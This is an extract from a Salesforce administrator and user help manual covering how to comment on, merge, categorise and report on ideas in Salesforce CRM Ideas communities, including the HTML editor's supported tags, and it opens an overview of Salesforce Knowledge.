1. On the Ideas tab, locate an idea on which you want to add a comment.
2. Click either the title of the idea or the Comments link below the idea description.
3. On the detail page for the idea, type your comments into the text entry area in the Add Your Comment section. You can
enter up to 4,000 characters.

1607
Ideas Commenting on Ideas

If your organization has enabled the HTML editor for Salesforce CRM Ideas, the description can include HTML and
reference online images. If the HTML editor is not enabled, use plain text only. For more information, see Tips for Using
the HTML Editor on page 1610.
4. Click Post to submit your comment.
Your newly added comment displays in the Comments related list on the idea detail page.

Editing Comments on Ideas


To edit a comment that you have submitted on an idea:
1. On the detail page of the idea, click Edit next to your comment.
2. Modify your comment as desired.
3. Click Apply to save your work.

Deleting Comments on Ideas


Deleting comments on ideas requires the “Delete” permission on ideas.
1. On the detail page of the idea, click Del next to your comment.
2. Click OK.

Viewing Recently Posted Comments


To view the comments that have most recently been posted in your Salesforce CRM Ideas community, click the Comments
subtab. Click the text of a comment to view the detail page of the appropriate idea.
On the Comments subtab:
• Comments are listed in chronological order from newest to oldest.
• The title of the idea on which the comment was posted displays above the comment.
• The alias of the user who posted the comment displays next to the comment text.
• The total number of comments on the idea displays in brackets below the comment text. For example, Comments [20]
indicates that the idea has twenty comments.

See Also:
Ideas Overview
Using Salesforce CRM Ideas
Viewing Ideas
Searching for Ideas

1608
Ideas Viewing Your Recent Activity Page

Viewing Your Recent Activity Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Ideas tab: “Read” on ideas
To view and vote for ideas: “Read” on ideas
To create ideas and add comments to ideas: “Create” on ideas
To edit ideas and edit comments on ideas: “Edit” on ideas

Your Recent Activity page contains a summary of all the recent activity that relates to your participation within a community.
To view your Recent Activity page, go to the Ideas tab and click your Community Nickname link on the right side of the
page. To view the Recent Activity page of another community member, click the community member's name that appears
below any idea or comment they have posted.
The Recent Activity page uses the following icons to identify the various types of activity within the community:

• identifies the ideas you have submitted.


• identifies the ideas you have voted on.
• identifies the comments you have posted to ideas as well as the comments other users have posted to your ideas.

For additional detail, click the following links located on the left side of the Recent Activity page:

• Ideas Submitted lists the ideas you have posted to this community. The most recent idea appears first.
• Ideas Voted On lists the ideas in this community that you have either promoted or demoted.
• Recent Replies displays the most recent comment posted to each of your ideas, as well as the most recent comment posted
to each idea you have previously commented on. This section is not displayed when viewing another community member's
recent activity.

To quickly determine the number of recent replies you have received, look next to the recent replies icon ( ) in the upper
right corner of the Ideas tab. This icon only appears when you have received a new reply.

Note: You cannot upload your own picture to replace the default image.

See Also:
Ideas Overview
Viewing Ideas
Using Salesforce CRM Ideas

1609
Ideas Searching for Ideas

Searching for Ideas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Ideas tab: “Read” on ideas
To view and vote for ideas: “Read” on ideas
To create ideas and add comments to ideas: “Create” on ideas
To edit ideas and edit comments on ideas: “Edit” on ideas

You can search for ideas using either Sidebar Search or Advanced Search. For an overview of these search methods, see Search
Overview on page 2073. For tips on performing searches, see Search Tips on page 2086.
Note: Sidebar search includes only the titles of ideas. However, advanced search also includes idea descriptions and
the comments that have been posted on ideas.
For general information on understanding search results, see Viewing Search Results on page 2087.

See Also:
Ideas Overview
Viewing Ideas
Using Salesforce CRM Ideas

Tips for Using the HTML Editor


The HTML editor gives users WYSIWYG HTML editing capabilities, allowing them to:

• Insert an image
• Insert hyperlinks
• Change paragraph alignment
• Create bulleted and numbered lists

Implementation Tips
• HTML tags you enter into the HTML editor will display to users as text.
• In related lists, search results, and hover details, Salesforce.com does not display text with HTML formatting or images.
• Hyperlinks open in a new browser window when users click on them. The HTML editor supports HTTP, HTTPS, and
mailto hyperlinks.
• To insert an image, click and either browse to an image file or specify the image's web address. Optionally, enter a
description that appears when a user hovers over the image. The image must have a URL that Salesforce.com can access.
• Images do not show up in list views and reports.

1610
Ideas Tips for Using the HTML Editor

• You cannot disable individual features of the HTML editor. For example, you cannot disable its hyperlink and image
capabilities.
• The HTML editor supports all languages that Salesforce.com supports.
• For security purposes, the HTML editor only allows the tags and attributes listed in Supported HTML Tags and Attributes
on page 1611. Salesforce.com automatically removes unsupported tags and attributes when you save an idea description or
comment. Salesforce.com also removes potentially malicious HTML. Note that Salesforce.com does not notify users when
unsupported or potentially malicious HTML is removed.
• The HTML editor does not support JavaScript or Cascading Style Sheets (CSS).

Supported HTML Tags and Attributes


The HTML editor supports the following tags:

<a> <dt> <q>

<abbr> <em> <samp>

<acronym> <font> <small>

<address> <h1> <span>

<b> <h2> <strike>

<bdo> <h3> <strong>

<big> <h4> <sub>

<blockquote> <h5> <sup>

<br> <h6> <table>

<caption> <hr> <tbody>

<cite> <i> <td>

<code> <img> <tfoot>

<col> <ins> <th>

<colgroup> <kbd> <thead>

<dd> <li> <tr>

<del> <ol> <tt>

<dfn> <p> <ul>

<div> <pre> <var>

<dl>

The above tags can include the following attributes:

alt face size

background height src

border href style

colspan rowspan width

1611
Ideas Deleting Ideas

The above attributes can include URLs that begin with the following:
• http:
• https:
• file:
• ftp:
• mailto:
• / for relative links

Enabling the HTML Editor in Salesforce CRM Ideas


The HTML editor is enabled by default for most organizations. If your organization does not have the HTML editor already
enabled, an administrator can enable it as described in Customizing Salesforce CRM Ideas Settings on page 1615.
Caution: Once you enable the HTML editor, you cannot disable it.

Before enabling the HTML editor, note the following:


• Each HTML idea description has a maximum size of the 32 KB. Each comment has a maximum size of 4 KB.
• If you use the HTML editor to edit and save an idea description or comment that was in text format, Salesforce.com saves
the description or comment in HTML format.
• In list views and search results, Salesforce.com displays only the first 255 characters of an idea's description or comment.
This number includes HTML tags.

See Also:
Ideas Overview
Using Salesforce CRM Ideas
Commenting on Ideas
Posting and Editing Ideas

Deleting Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete ideas and comments: “Delete” on ideas

To delete an idea:

1. Click the name of an idea to open the detail page.


2. Click the Delete button.
3. Click OK.

1612
Ideas Subscribing to Syndication Feeds for Ideas

The idea, its comments, and any child ideas are moved to the Recycle Bin. Note that undeleting an idea from the Recycle Bin
also restores the idea's comments, votes, and child ideas.

See Also:
Merging Ideas
Posting and Editing Ideas

Subscribing to Syndication Feeds for Ideas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Ideas tab: “Read” on ideas
To view and vote for ideas: “Read” on ideas
To create ideas and add comments to ideas: “Create” on ideas
To edit ideas and edit comments on ideas: “Edit” on ideas

Syndication feeds enable users to subscribe to changes within Salesforce CRM Ideas and receive updates in external news
readers. For users to be able to subscribe to Salesforce CRM Ideas syndication feeds, the following prerequisites are necessary:

• Salesforce CRM Ideas must be exposed publicly using Force.com sites. For more information, see Force.com Sites Overview
on page 1534.
• The Categories field must be enabled in Salesforce CRM Ideas. This field is enabled by default for some organizations.
For more information, see Enabling the Categories Field on page 1623.

To subscribe to a syndication feed, click the feeds icon ( ) on the following Ideas pages:

• Popular Ideas subtab


• Recent Ideas subtab
• Top All-Time subtab
• Comments subtab
This feed lists comments separately even when they belong to the same idea, whereas the Comments subtab groups
comments for a single idea together and only shows the number of recent comments for that idea.
• Recent Activity page
To subscribe to a feed that includes all the comments posted by a specific community member, click the community
member's name that appears below any idea or comment he or she has posted. Then click the feeds icon on the community
member's Recent Activity page. When you subscribe to another community member's Recent Activity feed, the feed only
includes recent comments from that community member and no other user.

1613
Ideas Managing Salesforce CRM Ideas

Note: Child ideas (ideas that have been merged with a master idea) are not included in any feeds. Only master ideas
are included.

See Also:
Ideas Overview
About Syndication Feeds

SETTING UP IDEAS

Managing Salesforce CRM Ideas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Salesforce CRM Ideas communities: “Customize Application”

Salesforce CRM Ideas is a community of users who post, vote for, and comment on ideas. Consider it an online suggestion
box that includes discussions and popularity rankings for any subject.
Communities help organize ideas and answers into logical groups with each community having its own focus and unique ideas
and answers topics. Professional Edition organizations can have only one internal community for Salesforce CRM Ideas. All
other editions can have up to 50 communities shared between ideas and answers.
You can display an Ideas community to internal Salesforce.com users, Customer Portal or partner portal users, or to public
users (requires setting up a Force.com site). For step-by-step directions on setting up Salesforce CRM Ideas, refer to the
Salesforce CRM Ideas Implementation Guide.
As an administrator, you can:

• Control whether ideas are enabled for your organization and customize the half-life of ideas. See Customizing Salesforce
CRM Ideas Settings on page 1615.
• Create a new community. See Creating and Editing Communities on page 1617.
• Define picklist values for the Categories and Status fields. See Defining Picklist Values for the Categories and Status
Fields on page 1621.
• Specify the layout of custom fields. See Setting Layouts for Idea Fields on page 1625.
• Make idea reports available to your users. See Setting Up Idea Reports on page 1626.
• Customize idea search layouts. See Customizing Search Layouts on page 645 and Searching for Ideas on page 1610.
• Merge ideas to reduce the number of duplicate ideas within a community. See Merging Ideas on page 1618.
• Assign a status to an idea. See Posting and Editing Ideas on page 1603.
• Delete a vote through the API to erase all history that the vote ever occurred.

1614
Ideas Customizing Salesforce CRM Ideas Settings

Specifically, deleting a vote does the following:

- Removes 10 points from the idea's overall score.


- Removes the user's name from the Last 100 Votes section on the idea's detail page.

For more information, refer to the delete() call in the Force.com Web Services API Developer's Guide.

See Also:
Ideas Overview
Tips on Using Salesforce CRM Ideas
Enabling Salesforce CRM Ideas in the Customer Portal
Force.com Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide

Customizing Salesforce CRM Ideas Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize Salesforce CRM Ideas settings: “Customize Application”

To manage organization-wide settings for Salesforce CRM Ideas:

1. Click Setup ➤ Customize ➤ Ideas ➤ Settings.


2. Click Edit.
3. Use the Enable Ideas checkbox to enable or disable Salesforce CRM Ideas for your organization.
Enabling Salesforce CRM Ideas displays the Ideas tab in the Community application and shows active communities on
the Ideas tab.
Disabling Salesforce CRM Ideas removes the Ideas tab from the Community app. Users will no longer be able to access
active communities, but these communities will reappear on the Ideas tab the next time you enable Salesforce CRM Ideas.
4. Optionally, select Enable Text-Formatting, Images and Links to enable the Salesforce CRM Ideas HTML
editor, which gives users WYSIWYG HTML editing and image referencing capabilities when they post or comment on
ideas. For more information, see Tips for Using the HTML Editor on page 1610.
Caution: Once you enable the Salesforce CRM Ideas HTML editor, you cannot disable it. If you do not see the
Enable Text-Formatting, Images and Links checkbox, the Salesforce CRM Ideas HTML editor is
enabled for your organization by default.

5. If your organization does not already have the multi-select Categories field enabled, click the Enable button located
below the Categories message at the top of the page. This button is not displayed if your organization already has the
Categories field enabled. For more information, refer to Enabling the Categories Field on page 1623.

1615
Ideas Communities Home

If the Categories field is already enabled, the Enable Categories checkbox is selected. Once the field is enabled,
you cannot disable it.
6. In the Half-Life (in Days) field, enter a number of days.
The half-life setting determines how quickly old ideas drop in ranking on the Popular Ideas subtab, to make room for
ideas with more recent votes. A shorter half-life moves older ideas down the page faster than a longer half-life.
Note: This field does not appear if Ideas is disabled. To modify the Half-Life (in Days) field, save your
changes after enabling ideas, and then click Edit on the Ideas Settings page.

7. Click Save.

See Also:
Ideas Overview
Managing Salesforce CRM Ideas
Administrator setup guide: Salesforce Ideas Implementation Guide

Communities Home
Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions
Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit a community: “Customize Application”

Communities help organize ideas and answers into logical groups with each community having its own focus and unique ideas
and answers topics. Professional Edition organizations can have only one internal community for Salesforce CRM Ideas. All
other editions can have up to 50 communities shared between ideas and answers.
Note: If you need more than 50 communities, contact salesforce.com.

You can display a community to the following types of users:

• Internal Salesforce.com users only. Salesforce.com users can access all communities regardless of whether the community
is internal-only or displayed in a portal.
• Customer Portal or partner portal users.
• Public users (requires setting up a Force.com Site).

Note: You cannot use Salesforce.com sharing rules to restrict access to communities. When you create a community,
you can restrict access by selecting the portal in which the community should be displayed. Only the users assigned to
that portal (and internal Salesforce.com users) will be able to access that community unless you expose it publicly using
Force.com sites.

1616
Ideas Creating and Editing Communities

To display a list of the existing communities, along with general information about each one, click Setup ➤ Customize ➤
Ideas ➤ Communities or Setup ➤ Customize ➤ Answers ➤ Communities. Communities are shared by the ideas and
answers features, allowing you to view and create communities from either location. From the Communities page you can:

• Create a new community or edit an existing community.


• View the details of a community by clicking the community name.

Creating and Editing Communities


Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions
Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit a community: “Customize Application”

To create a new community or edit the details of an existing community:

1. Click Setup ➤ Customize ➤ Ideas ➤ Communities or Setup ➤ Customize ➤ Answers ➤ Communities.


Communities are shared by the ideas and answers features, allowing you to view and create communities from either
location.
2. Click Edit next to the community you want to change or New to create a new community.
3. Enter a unique name for your community.
If you have more than one community, the community whose name comes first in the alphabet is the community that is
displayed when users first visit the Ideas tab. For example, if you have a community named Jeans and another named
T-shirts, the Jeans community is the default community that appears when users first go to the Ideas tab.
4. Optionally, enter a description in plain text. HTML and other markup languages are not supported.
5. Select the Active checkbox to display the community to your ideas and answers users.
Communities cannot be deleted, so if you need to hide a community, make sure Active is not selected.
6. To add a group of experts to this community, select a public group from the Experts Group drop-down list. For
information on creating public groups, see Creating and Editing Groups on page 166.
Note: Expert groups are only supported in Salesforce CRM Ideas. Answers does not support this feature.

7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community
displayed to internal Salesforce.com users and not to Customer Portal or partner portal users, select Do Not Display
in Portal.

To make a community publicly available, you must select the Customer Portal that you plan to expose publicly using
Force.com sites.
8. Click Save.

1617
Ideas Merging Ideas

Community Expert Overview


A community expert is a member of the community who speaks credibly and authoritatively on behalf of your organization.
When a community expert posts a comment or idea, a unique icon ( ) displays next to his or her name so other community
members can easily identify credible information within the community. The Salesforce.com administrator can designate as
many community experts as necessary.
Before you select a public group to be community experts, note the following:
• A community expert can be an employee of your organization who is responsible for providing official responses to the
community, or a community expert can be someone outside your organization who is active within the community and
knowledgeable about the subject matter.
• The only difference between a community expert and other community members is the unique icon that displays next to
the community expert's name. Community experts do not have any extra permissions beyond what is specified in their
user profile.
• Community experts must be part of a public group and that public group must be specified in the Experts Group
drop-down list. You may need to create a public group for each community if the experts within those communities are
different.
• If a community is displayed in a Customer Portal or partner portal, you can use a cascading style sheet (CSS) to change
the icon associated with the community expert. When creating a new portal, specify your CSS in the Header of your
portal and use the expertUserBadge class to reference the new background image for the community expert. We
recommend the community expert icon be no larger than 16 by 16 pixels. For more information, see Creating Partner
Portals on page 1743 and Enabling Customer Portal Login and Settings on page 1434.

See Also:
Selecting Picklist Values and Defaults for a Community
Communities Home
Enabling Salesforce CRM Ideas in the Customer Portal
Force.com Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide

Merging Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To merge multiple ideas: “Edit” on ideas

Overview
As more users contribute to a community, the number of duplicate ideas often increases. Duplicate ideas make it difficult to
measure feedback because votes and comments are spread out over many similar ideas. The best way to resolve this issue is to
merge duplicate ideas together so one idea becomes the master to one or more child ideas.
Note the following about merging ideas:

1618
Ideas Merging Ideas

• All votes belonging to child ideas are transferred to the master idea. If the same community member votes for two ideas
that are eventually merged, only the vote for the master idea is kept; the vote for the child idea is discarded.
• Once you merge ideas they cannot be separated.
• Users can only vote for and add comments to a master idea. Child ideas become read-only.
• You cannot merge ideas in separate communities.
• Deleting a parent idea automatically deletes all child ideas. Child ideas cannot be deleted individually.
• The master idea does not inherit the status and category values of its child ideas.
• When an idea is merged and becomes a child idea, the child idea still appears on the Ideas Submitted page but not on any
other pages in a community member's Recent Activity.

Merging Ideas
To locate duplicate ideas and merge them together:
1. On the Ideas tab, click the title of an idea that you want to merge.
2. On the idea's detail page, click Find Duplicates. Salesforce.com searches all the ideas within the community and displays
the five ideas with titles that most closely match the current idea's title.
3. If the Possible Duplicates list does not contain any ideas that you want to merge, enter keywords in the Search for
Duplicates field and click Search. Salesforce.com displays a new list of possible duplicate ideas.
4. From the Possible Duplicates list, select the ideas that you want to merge.
To view the details of a possible duplicate idea, click the idea's title. Use your browser's back button to return to the search
results.
5. Click Merge with Current Idea.
6. Select the idea that you want to be the master idea, and click Merge.
7. Click OK to complete the merge.

See Also:
Searching for Ideas
Viewing Ideas
Posting and Editing Ideas
Deleting Ideas

1619
Ideas Tips on Using Salesforce CRM Ideas

Tips on Using Salesforce CRM Ideas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Ideas tab: “Read” on ideas
To view and vote for ideas: “Read” on ideas
To create ideas and add comments to ideas: “Create” on ideas
To edit ideas and edit comments on ideas: “Edit” on ideas
To create communities: “Customize Application”

Consider the following information when setting up and using Salesforce CRM Ideas:

• To monitor the activity of Salesforce CRM Ideas, you can:

- Create a workflow rule or trigger based on the number of comments an idea receives. You cannot create a workflow
rule or trigger based on an idea’s vote total or vote count. You also cannot create a trigger that inserts or deletes a
comment when the Idea object is updated. For more information, see Creating Workflow Rules on page 798.
- Create a custom report based on an idea's vote score or number of comments. For more information, see Creating a
Custom Report on page 1899.

• When posting an idea or comment, you can include a URL in the idea's description or comment field, but you cannot
attach a file or add a note to an idea.
• Master detail relationships are not supported.
• Salesforce CRM Ideas does not support workflow tasks, outbound messages, and approvals.
• Salesforce CRM Ideas does not support custom links.
• The Ideas detail page does not contain related lists.
• The data export feature archives all your Salesforce CRM Ideas data with the exception of deleted ideas and deleted
comments.
• You cannot create activities and events for Salesforce CRM Ideas.
• When using standard or custom Idea fields, note the following:

- History tracking is not supported.


- Field dependencies and roll-up summary fields are not supported.
- Formula fields are not available for the Community object.

1620
Ideas Defining Picklist Values for the Categories and Status Fields

Defining Picklist Values for the Categories and Status Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define picklist values: “Customize Application”

Overview
For community members to assign categories to an idea or be able to view an idea's status, the Salesforce CRM Ideas
administrator needs to define picklist values for the Categories and Status fields. These fields are only available in an
ideas community and not in an answers community.
Categories are administrator-defined values that help organize ideas into logical sub-groups within a community. The View
Category drop-down list on the Ideas tab allows users to filter ideas by category, and the Categories picklist on the Post
Ideas page lets users add categories to their ideas.
An idea's status helps community members track the progress of the idea. For example, “Under Review”, “Reviewed”, “Coming
Soon”, and “Now Available” are common status values an administrator can define and assign to ideas. An idea's status appears
next to the idea's title for all community members to see.
Note: If the Category field is displayed (instead of Categories), then your community members can only assign
a single category to an idea. To allow them to assign multiple categories to an idea, enable the Categories field on
the Setup ➤ Customize ➤ Ideas ➤ Settings page.

Defining Picklist Values


To define picklist values for the Categories and Status standard fields:
1. Click Setup ➤ Customize ➤ Ideas ➤ Fields.
2. Click Edit next to the Categories or Status standard field.
3. On the picklist edit page, click New to add new picklist values to the standard field. You can also edit, delete, reorder, and
replace picklist values. For more information on these tasks, see Updating Picklists on page 423.
Note: Once you add picklist values to the Categories or Status field, the field will always require at least one
picklist value. This means you can delete picklist values until there is one remaining for the field.

4. Add one or more picklist values (one per line) in the provided text area.
5. Select the communities that you want to include the new picklist values.
6. Click Save.
7. To specify a default value for the Categories or Status fields, see Selecting Picklist Values and Defaults for a Community
on page 1622.
Note: Do not use the Edit link on the Fields page to specify a default value for Categories or Status. You
can only specify a default value from the Community Detail page.

8. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field
checkbox on the Setup ➤ Customize ➤ Ideas ➤ Fields Layout page.

1621
Ideas Selecting Picklist Values and Defaults for a Community

Once you select this checkbox, you can assign a status to any idea when you post a new idea or edit an existing idea. For
more information, see Posting and Editing Ideas on page 1603.

See Also:
Managing Salesforce CRM Ideas
Ideas Overview
Selecting Picklist Values and Defaults for a Community

Selecting Picklist Values and Defaults for a Community


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add or remove picklist values from a community: “Customize Application”

After you define picklist values for the Categories and Status fields, you can add and remove picklist values from these
fields on a per-community basis and specify a default value. This allows you to customize the Categories and Status fields
based on the unique purpose of a community. For information, see Defining Picklist Values for the Categories and Status
Fields on page 1621.
To add or remove picklist values from a specific community:

1. Click Setup ➤ Customize ➤ Ideas ➤ Communities.


2. Click the name of the community.
3. Click Edit next to the Categories or Status field.
4. To remove a picklist value, select the value from the Selected Values list and click Remove.
5. To add a picklist value to the community, select the value from the Available Values list and click Add.
6. To specify a default value for the field, use the Default drop-down list.
7. Click Save.

See Also:
Creating and Editing Communities

1622
Ideas Enabling the Categories Field

Enabling the Categories Field


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize Salesforce CRM Ideas settings: “Customize Application”

Organizations using the Category field can switch to the multi-select Categories field that allows community members
to associate more than one category with an idea. The Category field only allows one category to be associated with an idea.
Caution: Once you enable the Categories field, you cannot disable it. Also, enabling the Categories field
automatically disables the old Category field in Salesforce.com and the API.

When you enable the Categories field, Salesforce.com automatically does the following:

• Checks your organization's workflow rules, triggers, validation rules, custom fields, and Apex code and lists any area that
references the Category field. You must manually fix or remove these references before Salesforce.com allows you to
enable the Categories field.
• Automatically moves all picklist values and search layouts from the old Category field to the new Categories field.
• Ensures each idea is associated with the appropriate picklist value in the new Categories field.
• Makes the new Categories field available in Salesforce.com and the API.

To enable the Categories field:

1. Click Setup ➤ Customize ➤ Ideas ➤ Settings.


2. Click Enable located below the Categories message at the top of the page. This button is not displayed if your organization
already has the Categories field enabled.
Salesforce.com checks your organization's workflow rules, triggers, validation rules, custom fields, and Apex code for
references to the Category field and lists any areas where this reference needs to be removed.
3. If you need to remove references to the Category field, click Cancel. Once you have removed the references, try enabling
the Categories field again.
Note: For validation and workflow rules you must delete the rule or fix the Category reference within the rule. It
is not sufficient to deactivate the rule. If you need to delete a custom field that references the Category field,
make sure to erase the field after it has been deleted. For more information, see Managing Deleted Custom Fields
on page 462.

4. Read the information in the pop-up window, and click Enable. It may take several minutes for Salesforce.com to enable
the new field.

1623
Ideas Migrating to the Community Application

5. Fix any custom reports that reference the old Category field.

See Also:
Customizing Salesforce CRM Ideas Settings
Selecting Picklist Values and Defaults for a Community
Defining Picklist Values for the Categories and Status Fields

Migrating to the Community Application


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize Salesforce CRM Ideas settings: “Customize Application”

If your organization enabled Salesforce CRM Ideas prior to the Winter '10 release, we recommend that you migrate to the
new Community application. The Community application:

• Replaces the Ideas application in the Force.com app menu.


• Includes the Ideas and Answers tabs.
Answers is a feature of the Community application that enables users to post questions and have community members
provide answers. Community members can then vote on the helpfulness of each answer.

Note: Answers is currently available through a pilot program. For information on enabling the answers feature, contact
salesforce.com.

Caution: Once you migrate to the Community application, you cannot return to the old Ideas application. The Ideas
tab with all your existing data will still be available in the new Community application.

To migrate to the Community application:

1. Click Setup ➤ Customize ➤ Ideas ➤ Settings.


The Community message appears at the top of the Ideas Settings page. If the Community message does not appear, the
Community application is already enabled for your organization.
2. Click Enable below the Community message. Salesforce.com checks your organization for any custom objects named
Community. If such an object exists, you must delete or rename the object before enabling the Community app.
3. Click Enable when Salesforce.com confirms it's okay to migrate to the Community application.

1624
Ideas Customizing Salesforce CRM Ideas Standard and Custom Fields

Customizing Salesforce CRM Ideas Standard and Custom


Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define picklist values: “Customize Application”
To set field level security: “Customize Application”
To define or change field validation rules: “Customize Application”
To create Salesforce CRM Ideas custom fields: “Customize Application”

Administrators can customize Salesforce CRM Ideas standard and custom fields to meet the needs of an organization's unique
requirements:

• Define picklist values for the Categories and Status fields. For more information, see Defining Picklist Values for the
Categories and Status Fields on page 1621.
• Click the name of a standard or custom field to set field-level security. For more information, see Setting Field-Level
Security on page 217.
• Click the name of a custom field to set validation rules. For more information, see Defining Validation Rules on page 510.
• Create a custom field for Salesforce CRM Ideas. Custom fields appear in the Additional Information section on the Post
Idea and Idea Detail pages. For more information, see Creating Custom Fields on page 439.

See Also:
Ideas Overview
Customizing Salesforce CRM Ideas Settings

Setting Layouts for Idea Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set the layout of a Salesforce CRM Ideas custom field: “Customize Application”

When a custom field is created for Salesforce CRM Ideas, that field appears in the Additional Information section at the
bottom of the Post Idea and Idea Detail pages.

1625
Ideas Setting Up Idea Reports

To improve the layout of these pages, you can specify the order in which a custom field appears in the Additional Information
section. You can also remove a custom field from these pages without permanently deleting the field from the system.
To set the layout of a custom Salesforce CRM Ideas field:

1. Click Setup ➤ Customize ➤ Ideas ➤ Fields Layout.


2. Click Edit.
3. In the Selected Fields column, select the field you want to move and use the up and down arrows to change the order of
the field in the list.
The Selected Fields column shows the order in which custom fields appear in the Additional Information section on the
Post Idea and Idea Detail pages.
4. To remove a custom field, select the field in the Selected Fields column and click Remove. The field moves to the Available
Fields column and no longer appears on the Post Idea and Idea Detail pages.
5. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field
checkbox.
6. Click Save.

See Also:
Customizing Fields
Defining Picklist Values for the Categories and Status Fields

Setting Up Idea Reports


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or update custom report types: “Manage Custom Report Types”

As an administrator, you can create custom report types so users can run and create custom reports about ideas, idea comments,
and votes. Custom report types are the only way to make idea reports available for your users—Salesforce.com does not provide
sample idea reports or a standard report folder for ideas.
To create a folder of idea reports for your users:

1. Create a custom report type for ideas. For details, see Setting Up Custom Report Types on page 1932.
If you create a custom report type that uses Ideas as the primary object and Votes as the secondary object, child (merged)
ideas will not appear in the report unless you select "A" records may or may not have related "B" records.
Child ideas have no votes because their votes are transferred to the master idea. This means child ideas do not appear in
a report if the Votes object is required.
2. Create a new public folder for idea reports. This step requires the “Manage Public Reports” permission. For details, see
Creating and Editing Folders on page 650.
3. Using your custom report type, create one or more new custom reports for ideas. Assign the reports to the new idea reports
folder you created. For details, see Creating a Custom Report on page 1899.

1626
Ideas Setting Up Idea Reports

After completing these steps, a folder of idea reports will be available to your users on the Reports home page.

See Also:
Ideas Overview
Managing Salesforce CRM Ideas

1627
SALESFORCE KNOWLEDGE

What is Salesforce Knowledge?


Available in: Enterprise, Unlimited, and Developer Editions

Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly
find and view the articles they need. After you set up Salesforce Knowledge in your organization, users can write, edit, publish,
and archive articles using the Articles Management tab or find and view published articles using the Articles tab. Customers
and website visitors can access articles if Salesforce Knowledge is enabled in the Customer Portal or a public knowledge base.

Overview of Salesforce Knowledge


Salesforce Knowledge provides the following features and tasks to help you efficiently manage your knowledge base and its
users:
Using Article Types
Article types are custom containers for your articles. Each article is assigned to an article type that determines the content
and structure of the published article. Administrators define article types by creating custom fields to capture article data,
organizing the fields into sections on the article-type layout, and assigning a template to each channel. The article-type
template specifies how the layout is rendered. Salesforce.com provides two standard article-type templates, Tab and
Table of Contents, and you can use Visualforce to create custom templates.

Categorizing Articles
Data categories classify articles in Salesforce Knowledge. This classification helps users find articles while allowing
administrators to control article visibility. After data categories have been set up, knowledge managers can assign the
relevant categories to draft articles. When end users are searching for published articles in any channel—the internal
app, Customer Portal, or public knowledge base—they can use the categories to help locate information. A user's role
must grant access to a category before that user can view articles classified within the category.

Managing Articles
On the Article Management tab, knowledge managers can create new articles as well as find and manage existing articles
in any phase of the knowledge life cycle:
1. When you create and save an article, it displays on the My Draft Articles and All Draft Articles views. When you
create an article, it is automatically assigned to you.
2. Draft articles are assigned to reviewers and collaborators until the content is complete.
3. Completed drafts are published and move to the Published Articles view, either immediately or on a scheduled date.
Published articles display to agents and customers on the channels: the internal app, Customer Portal, and public
knowledge base.
4. Published articles can be updated. You can work on the published article itself—moving it from the published state
to a draft—or work on a copy so the published article remains available in the channels.
5. When obsolete, published articles are archived to remove them from the channels. Like publishing, the transition
can be immediate or on a scheduled date.
6. Archived articles are either deleted or turned into drafts to begin a new publishing cycle.

Creating Articles
Authors create articles by selecting an article type, writing content, assigning categories, and choosing one or more
channels. Depending on the article type, several fields may be available for different types of data. The rich-text area

1628
Salesforce Knowledge What is Salesforce Knowledge?

field type improves the appearance of text in articles by providing an HTML editor. In this WYSIWYG interface,
authors can:
• Format text as bold, italicized, or underlined
• Create bulleted and numbered lists
• Change paragraph indentation
• Insert hyperlinks to Web pages
• Insert an image

Attaching Articles to Cases


Salesforce Knowledge and cases combine to provide a powerful customer support tool. To search the knowledge base
directly from a case and attach related articles to the case for convenient reference, add the Articles related list to case
page layouts.

Searching for Articles


Finding articles in Salesforce Knowledge is quick and easy. Enter a search term on the Articles tab to initiate a full-text
search of the knowledge base and narrow your search by selecting specific article types and categories. You can filter
search results by category and sort the list view according to several criteria such as highest-rated or most-viewed. On
the Article Management tab you can search for a specific article within the chosen list view. The Article Search component
allows you to search for articles from the Home tab.

Rating Articles
Internal app and Customer Portal users can rate articles on a scale of 1 to 5 stars and view the average rating for an article.
Average ratings are not static. Every 15 days, if an article has not received a new vote, its average moves up or down
according to a half-life calculation. This change ensures that over time, older or outdated articles don't maintain artificially
high or low ratings compared to newer, more frequently used articles. Articles without recent votes trend towards an
average rating of 3 stars. The Articles tab also allows users to compare the ratings for different articles and sort the list
view according to highest or lowest rated articles.

Implementation Tips
Consider the following information when planning and implementing Salesforce Knowledge for your organization:
• For detailed implementation instructions, see Setting Up Salesforce Knowledge on page 1651.
• If you want to make articles visible on your website, install the Sample Public Knowledge Base for Salesforce Knowledge app
from the AppExchange.
• Articles are not included in the Data Export Service.
• High-Volume Customer Portal users cannot access Salesforce Knowledge.
• Public knowledge base users cannot rate articles.
• The File custom field type allows users to attach documents to articles. Note the following caveats about File fields:
- The maximum attachment size is 5 MB.
- You can add up to 5 File fields to each article type; contact Salesforce.com to increase these limits.
- If the Disallow HTML documents and attachments security setting is enabled, File fields do not support
HTML files.
